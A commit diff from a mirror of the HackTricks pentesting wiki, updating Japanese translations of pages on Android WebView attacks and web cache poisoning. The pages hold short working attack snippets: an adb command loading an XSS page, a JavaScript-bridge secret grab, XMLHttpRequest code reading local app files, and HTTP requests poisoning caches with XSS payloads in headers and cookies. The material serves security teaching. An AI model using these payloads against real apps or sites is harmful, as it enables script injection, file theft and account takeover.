mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md
This commit is contained in:
parent
ef8d23b343
commit
4b673e6928
5 changed files with 439 additions and 247 deletions
|
@ -1,107 +1,116 @@
|
|||
# WebView攻撃
|
||||
# WebView Attacks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong>!</summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## WebView構成とセキュリティの簡易ガイド
|
||||
## WebView構成とセキュリティのガイド
|
||||
|
||||
### WebViewの脆弱性の概要
|
||||
|
||||
Android開発の重要な側面の1つは、WebViewsの適切な処理です。このガイドでは、WebViewの使用に関連するリスクを軽減するための主要な構成とセキュリティ慣行を強調しています。
|
||||
Android開発の重要な側面の1つは、WebViewsの適切な処理です。このガイドでは、WebViewの使用に関連するリスクを軽減するための主要な構成とセキュリティプラクティスを強調しています。
|
||||
|
||||
![WebViewの例](../../.gitbook/assets/image%20(718).png)
|
||||
![WebViewの例](<../../.gitbook/assets/image (718).png>)
|
||||
|
||||
### **WebViewsでのファイルアクセス**
|
||||
|
||||
デフォルトでは、WebViewsはファイルアクセスを許可します。この機能は、Android APIレベル3(カップケーキ1.5以降)から利用可能な`setAllowFileAccess()`メソッドによって制御されます。**android.permission.READ_EXTERNAL_STORAGE**権限を持つアプリケーションは、ファイルURLスキーム(`file://path/to/file`)を使用して外部ストレージからファイルを読み取ることができます。
|
||||
デフォルトでは、WebViewsはファイルアクセスを許可します。この機能は、Android APIレベル3(Cupcake 1.5以降)から利用可能な`setAllowFileAccess()`メソッドによって制御されます。**android.permission.READ\_EXTERNAL\_STORAGE**権限を持つアプリケーションは、ファイルURLスキーム(`file://path/to/file`)を使用して外部ストレージからファイルを読み取ることができます。
|
||||
|
||||
#### **非推奨の機能: ユニバーサルおよびURLからのファイルアクセス**
|
||||
#### **非推奨の機能: ファイルURLからのユニバーサルアクセスとファイルアクセス**
|
||||
|
||||
- **ファイルURLからのユニバーサルアクセス**: この非推奨の機能は、ファイルURLからのクロスオリジンリクエストを許可し、潜在的なXSS攻撃のための重大なセキュリティリスクを引き起こしました。Android Jelly Bean以降をターゲットにしたアプリのデフォルト設定は無効(`false`)です。
|
||||
- この設定を確認するには、`getAllowUniversalAccessFromFileURLs()`を使用します。
|
||||
- この設定を変更するには、`setAllowUniversalAccessFromFileURLs(boolean)`を使用します。
|
||||
|
||||
- **ファイルURLからのファイルアクセス**: この非推奨の機能も、他のファイルスキームURLからのコンテンツへのアクセスを制御しました。ユニバーサルアクセスと同様に、セキュリティを強化するためにデフォルト設定は無効です。
|
||||
- チェックには`getAllowFileAccessFromFileURLs()`を使用し、設定には`setAllowFileAccessFromFileURLs(boolean)`を使用します。
|
||||
- **ファイルURLからのファイルアクセス**: この機能も非推奨で、他のファイルスキームURLからのコンテンツへのアクセスを制御しました。ユニバーサルアクセスと同様に、セキュリティ向上のためにデフォルトで無効になっています。
|
||||
- チェックするには`getAllowFileAccessFromFileURLs()`を使用し、設定するには`setAllowFileAccessFromFileURLs(boolean)`を使用します。
|
||||
|
||||
#### **安全なファイルの読み込み**
|
||||
|
||||
ファイルシステムへのアクセスを無効にしながらアセットやリソースにアクセスするために、`setAllowFileAccess()`メソッドが使用されます。Android R以降では、デフォルト設定は`false`です。
|
||||
ファイルシステムへのアクセスを無効にしながらアセットとリソースにアクセスするために、`setAllowFileAccess()`メソッドが使用されます。Android R以降では、デフォルト設定は`false`です。
|
||||
|
||||
- `getAllowFileAccess()`で確認します。
|
||||
- `setAllowFileAccess(boolean)`で有効または無効にします。
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
**WebViewAssetLoader**クラスは、ローカルファイルを読み込むための現代的なアプローチです。ローカルアセットやリソースにアクセスするためにhttp(s) URLを使用し、Same-Originポリシーに準拠しているため、CORS管理を容易にします。
|
||||
**WebViewAssetLoader**クラスは、ローカルファイルを読み込むための現代的なアプローチです。ローカルアセットとリソースにアクセスするためにhttp(s) URLを使用し、Same-Originポリシーに準拠しているため、CORS管理が容易になります。
|
||||
|
||||
### **JavaScriptおよびIntentスキームの処理**
|
||||
### loadUrl
|
||||
|
||||
- **JavaScript**: WebViewではデフォルトで無効になっていますが、`setJavaScriptEnabled()`を使用して有効にすることができます。適切な保護措置なしにJavaScriptを有効にすると、セキュリティの脆弱性が導入される可能性があるため、注意が必要です。
|
||||
これは、Webビューで任意のURLを読み込むために使用される一般的な関数です。
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
当然、潜在的な攻撃者は、アプリケーションが読み込むURLを**制御**できないようにすべきです。
|
||||
|
||||
- **Intentスキーム**: WebViewは`intent`スキームを処理でき、慎重に管理されていない場合には攻撃を引き起こす可能性があります。例として、公開されたWebViewパラメーター「support_url」を悪用してクロスサイトスクリプティング(XSS)攻撃を実行する可能性がある脆弱性がありました。
|
||||
### **JavaScriptとIntentスキームの処理**
|
||||
|
||||
![脆弱なWebView](../../.gitbook/assets/image%20(719).png)
|
||||
- **JavaScript**: WebViewではデフォルトで無効になっていますが、`setJavaScriptEnabled()`を介して有効にすることができます。適切な保護措置なしにJavaScriptを有効にすると、セキュリティの脆弱性が発生する可能性があるため、注意が必要です。
|
||||
- **Intentスキーム**: WebViewは`intent`スキームを処理でき、慎重に管理されていない場合には攻撃を引き起こす可能性があります。例として、公開されたWebViewパラメーター「support_url」を悪用してクロスサイトスクリプティング(XSS)攻撃を実行する脆弱性がありました。
|
||||
|
||||
![脆弱なWebView](<../../.gitbook/assets/image (719).png>)
|
||||
|
||||
adbを使用した攻撃例:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Javascript Bridge
|
||||
|
||||
Androidで提供されている機能により、WebView内の**JavaScript**が**ネイティブAndroidアプリの機能**を呼び出すことができます。これは、`addJavascriptInterface`メソッドを利用して実現され、JavaScriptをネイティブAndroid機能と統合する_WebView JavaScriptブリッジ_と呼ばれます。このメソッドにより、WebView内のすべてのページが登録されたJavaScriptインターフェースオブジェクトにアクセスできるため、これらのインターフェースを介して機密情報が公開されるとセキュリティリスクが発生する可能性があるため、注意が必要です。
|
||||
Androidによって提供される機能で、WebView内の**JavaScript**が**ネイティブAndroidアプリの機能**を呼び出すことができます。これは、`addJavascriptInterface`メソッドを利用して実現され、JavaScriptをネイティブAndroid機能と統合する_WebView JavaScriptブリッジ_と呼ばれます。このメソッドには注意が必要で、WebView内のすべてのページが登録されたJavaScriptインターフェースオブジェクトにアクセスできるため、これらのインターフェースを介して機密情報が公開されるとセキュリティリスクが発生します。
|
||||
|
||||
### 重要な考慮事項
|
||||
|
||||
- Androidバージョン4.2未満をターゲットとするアプリでは、悪意のあるJavaScriptを使用してリフレクションを悪用し、リモートコード実行を許可する脆弱性があるため、**極めて注意が必要**です。
|
||||
* Androidバージョン4.2未満をターゲットにするアプリでは**極めて注意が必要**です。これは、悪意のあるJavaScriptを介してリモートコード実行を許可する脆弱性があるためです。この脆弱性はリフレクションを悪用します。
|
||||
|
||||
#### JavaScriptブリッジの実装
|
||||
|
||||
- **JavaScriptインターフェース**はネイティブコードとやり取りでき、クラスメソッドがJavaScriptに公開される例が示されています。
|
||||
* **JavaScriptインターフェース**は、ネイティブコードとやり取りできます。以下の例では、クラスメソッドがJavaScriptに公開されています:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- JavaScript Bridgeを有効にするには、WebViewにインターフェースを追加します:
|
||||
* JavaScript Bridgeは、WebViewにインターフェースを追加することで有効になります:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
- JavaScriptを介した潜在的な悪用は、XSS攻撃を介して、公開されたJavaメソッドの呼び出しを可能にします。
|
||||
* JavaScriptを介した潜在的な悪用は、たとえばXSS攻撃を介して、公開されたJavaメソッドの呼び出しを可能にします:
|
||||
```html
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
- リスクを軽減するために、APK と一緒に配信されるコードに対する JavaScript ブリッジの使用を制限し、リモートソースからの JavaScript の読み込みを防止します。古いデバイス向けに、最小 API レベルを 17 に設定します。
|
||||
* リスクを軽減するために、APK と一緒に配信されるコードに対して**JavaScript ブリッジの使用を制限**し、リモートソースからの JavaScript の読み込みを防止します。古いデバイス向けに、最小 API レベルを 17 に設定します。
|
||||
|
||||
### 反射ベースのリモートコード実行(RCE)
|
||||
|
||||
- ドキュメント化された方法により、特定のペイロードを実行することで反射を介した RCE を達成することができます。ただし、`@JavascriptInterface` アノテーションにより、権限のないメソッドへのアクセスが制限され、攻撃範囲が限定されます。
|
||||
* ドキュメント化された方法により、特定のペイロードを実行することで反射を介した RCE を達成することができます。ただし、`@JavascriptInterface` アノテーションにより、権限のないメソッドアクセスが防止され、攻撃面が制限されます。
|
||||
|
||||
### リモートデバッグ
|
||||
|
||||
- **Chrome 開発者ツール**を使用して**リモートデバッグ**が可能であり、WebView コンテンツ内での相互作用や任意の JavaScript 実行が可能です。
|
||||
* **Chrome 開発者ツール**を使用して**リモートデバッグ**が可能であり、WebView コンテンツ内での相互作用や任意の JavaScript 実行が可能です。
|
||||
|
||||
#### リモートデバッグの有効化
|
||||
|
||||
- アプリケーション内のすべての WebView でリモートデバッグを有効にするには:
|
||||
* アプリケーション内のすべての WebView でリモートデバッグを有効にするには:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- アプリケーションのdebuggable状態に基づいてデバッグを条件付きで有効にするには:
|
||||
* アプリケーションのdebuggable状態に基づいてデバッグを条件付きで有効にするには:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
|
@ -110,7 +119,7 @@ if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
|||
```
|
||||
## 任意のファイルの流出
|
||||
|
||||
- XMLHttpRequestを使用して任意のファイルを流出させるデモ:
|
||||
* XMLHttpRequestを使用して任意のファイルを流出させるデモ:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
|
@ -122,20 +131,21 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
|
|||
xhr.send(null);
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したいか、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で **@carlospolopm**をフォローする
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローしてください [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,38 +26,38 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
> **Webキャッシュ毒入りとWebキャッシュ欺瞞の違いは何ですか?**
|
||||
>
|
||||
> - **Webキャッシュ毒入り**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
|
||||
> - **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後攻撃者はこのコンテンツをキャッシュから取得します。
|
||||
> * **Webキャッシュ毒入り** では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
|
||||
> * **Webキャッシュ欺瞞** では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後、このコンテンツをキャッシュから取得します。
|
||||
|
||||
## キャッシュ毒入り
|
||||
|
||||
キャッシュ毒入りは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気度に依存します。汚染されたキャッシュ期間中にページを訪れるユーザーにのみ、汚染されたレスポンスが提供されます。
|
||||
キャッシュ毒入りは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けたページの人気度に依存します。なぜなら、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ、汚染されたレスポンスが提供されるからです。
|
||||
|
||||
キャッシュ毒入り攻撃の実行には、いくつかのステップが含まれます:
|
||||
キャッシュ毒入り攻撃の実行には、いくつかのステップが含まれます:
|
||||
|
||||
1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないが、サーバーが返すレスポンスを変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらを悪用してキャッシュを操作することができるからです。
|
||||
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、これらのパラメータを悪用してサーバーのレスポンスを攻撃者に利益をもたらすように変更する方法を見つけることです。
|
||||
3. **毒入りレスポンスがキャッシュされていることを確認**:最後のステップは、操作されたレスポンスがキャッシュに保存されるようにすることです。これにより、キャッシュが毒入りされている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
|
||||
1. **キーのない入力の特定**: これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返されるレスポンスを変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらはキャッシュを操作するために悪用される可能性があるからです。
|
||||
2. **キーのない入力の悪用**: キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用して、攻撃者に利益をもたらすようにサーバーのレスポンスを変更するかを理解することです。
|
||||
3. **毒入りレスポンスがキャッシュされていることを確認する**: 最後のステップは、操作されたレスポンスがキャッシュに保存されるようにすることです。これにより、キャッシュが毒入りされている間に影響を受けたページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
|
||||
|
||||
### 発見:HTTPヘッダーをチェック
|
||||
### 発見: HTTPヘッダーをチェックする
|
||||
|
||||
通常、レスポンスが**キャッシュに保存されている**場合、それを示す**ヘッダーがあります**。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください:[**HTTPキャッシュヘッダー**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||
通常、レスポンスが **キャッシュに保存されている** 場合、それを示す **ヘッダーが存在します**。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください: [**HTTPキャッシュヘッダー**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||
|
||||
### 発見:400コードのキャッシュ
|
||||
### 発見: 400コードのキャッシング
|
||||
|
||||
レスポンスがキャッシュされていると思われる場合は、**不正なヘッダーを送信**して、**ステータスコード400**で応答されるはずのリクエストを試してみることができます。その後、通常通りにリクエストにアクセスし、**レスポンスが400ステータスコード**である場合、脆弱性があることがわかります(DoSを実行することさえできます)。\
|
||||
不適切に構成されたヘッダーは、ヘッダーとして`\:`だけであるかもしれません。\
|
||||
レスポンスがキャッシュされていると思われる場合、 **不正なヘッダーを送信** して、 **ステータスコード400** で応答されるはずです。その後、リクエストに通常アクセスして、 **レスポンスが400ステータスコード** である場合、脆弱性があることがわかります(DoS攻撃さえ実行できます)。\
|
||||
不適切に構成されたヘッダーは、ヘッダーとして `\:` を使用することができます。\
|
||||
_これらの種類のステータスコードがキャッシュされない場合もあるため、このテストは無意味になることがあります。_
|
||||
|
||||
### 発見:キーのない入力の特定と評価
|
||||
### 発見: キーのない入力を特定および評価する
|
||||
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、ページのレスポンスを変更する可能性のある**パラメータやヘッダーをブルートフォース**することができます。たとえば、ページがクライアントにそこからスクリプトを読み込むように指示するために`X-Forwarded-For`ヘッダーを使用しているかもしれません。
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) を使用して、ページのレスポンスを変更する可能性のある **パラメータやヘッダーをブルートフォース** することができます。たとえば、ページがクライアントにそこからスクリプトを読み込むように指示するために `X-Forwarded-For` ヘッダーを使用しているかもしれません。
|
||||
```markup
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### 悪意のある応答をバックエンドサーバーから引き出す
|
||||
|
||||
特定されたパラメータ/ヘッダーを確認し、それがどのように**無害化**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それをどのように悪用できますか(XSSを実行したり、自分が制御するJSコードをロードしたりしますか?DoSを実行しますか?...)
|
||||
特定されたパラメータ/ヘッダーを確認し、それがどのように**無害化**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用する方法はありますか(XSSを実行したり、あなたが制御するJSコードをロードしたりしますか?DoSを実行しますか?...)
|
||||
|
||||
### キャッシュされた応答を取得する
|
||||
|
||||
|
@ -67,14 +67,14 @@ _これらの種類のステータスコードがキャッシュされない場
|
|||
もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、ユーザーが狙っている被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用しているユーザーのキャッシュを毒することができます。\
|
||||
キャッシュに関連するもう1つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。
|
||||
|
||||
リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して機能しているかどうかを確認してください。
|
||||
リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期しない方法**で**キーとして使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して機能しているかどうかを確認してください。
|
||||
|
||||
## 悪用の例
|
||||
|
||||
### 最も簡単な例
|
||||
|
||||
`X-Forwarded-For`のようなヘッダーが無害化されていない状態で応答に反映されています。\
|
||||
基本的なXSSペイロードを送信し、キャッシュを毒し、ページにアクセスするすべての人がXSSを受けるようにします:
|
||||
`X-Forwarded-For`のようなヘッダーが無害化されて応答に反映されています。\
|
||||
基本的なXSSペイロードを送信し、キャッシュを毒してページにアクセスするすべてのユーザーがXSSを受けるようにします:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
|
@ -82,19 +82,19 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
|
|||
```
|
||||
### Cookieハンドリングの脆弱性を悪用するためのWebキャッシュ毒化の使用
|
||||
|
||||
Cookieはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすように悪用できれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができます。
|
||||
Cookieはページのレスポンスにも反映される可能性があります。たとえばXSSを引き起こすように悪用できれば、悪意のあるキャッシュレスポンスをロードする複数のクライアントでXSSを悪用することができます。
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
### パストラバーサルを使用してAPIキーを盗むためのキャッシュ毒化<a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### パストラバーサルを使用したキャッシュ毒化によるAPIキーの盗難 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)によると、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能でした。なぜなら、`/share/*` に一致するものはCloudflareがURLを正規化しないままキャッシュされるため、Webサーバーにリクエストが到達したときに行われたからです。
|
||||
[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) によると、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能でした。`/share/*` に一致するものはCloudflareがURLを正規化しないままキャッシュされるため、Webサーバーにリクエストが到達したときに行われたことです。
|
||||
|
||||
### 複数のヘッダーを使用してWebキャッシュ毒化の脆弱性を悪用する<a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 複数のヘッダーを使用してWebキャッシュ毒化の脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
**キャッシュを悪用するために複数のキーのない入力を悪用する**必要があることがあります。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができるかもしれません。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名として`X-Forwarded-Scheme`ヘッダーを使用している場合、リダイレクト先を制御できます。
|
||||
**キャッシュを悪用するために複数の未キー入力を悪用する** 必要がある場合があります。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができます。**サーバー** がすべての **HTTP** リクエストを **HTTPS** に転送し、リダイレクトのドメイン名として `X-Forwarded-Scheme` ヘッダーを使用している場合、リダイレクト先のページを制御できます。
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -103,7 +103,7 @@ X-Forwarded-Scheme: http
|
|||
```
|
||||
### 限られた `Vary` ヘッダーを利用した攻撃
|
||||
|
||||
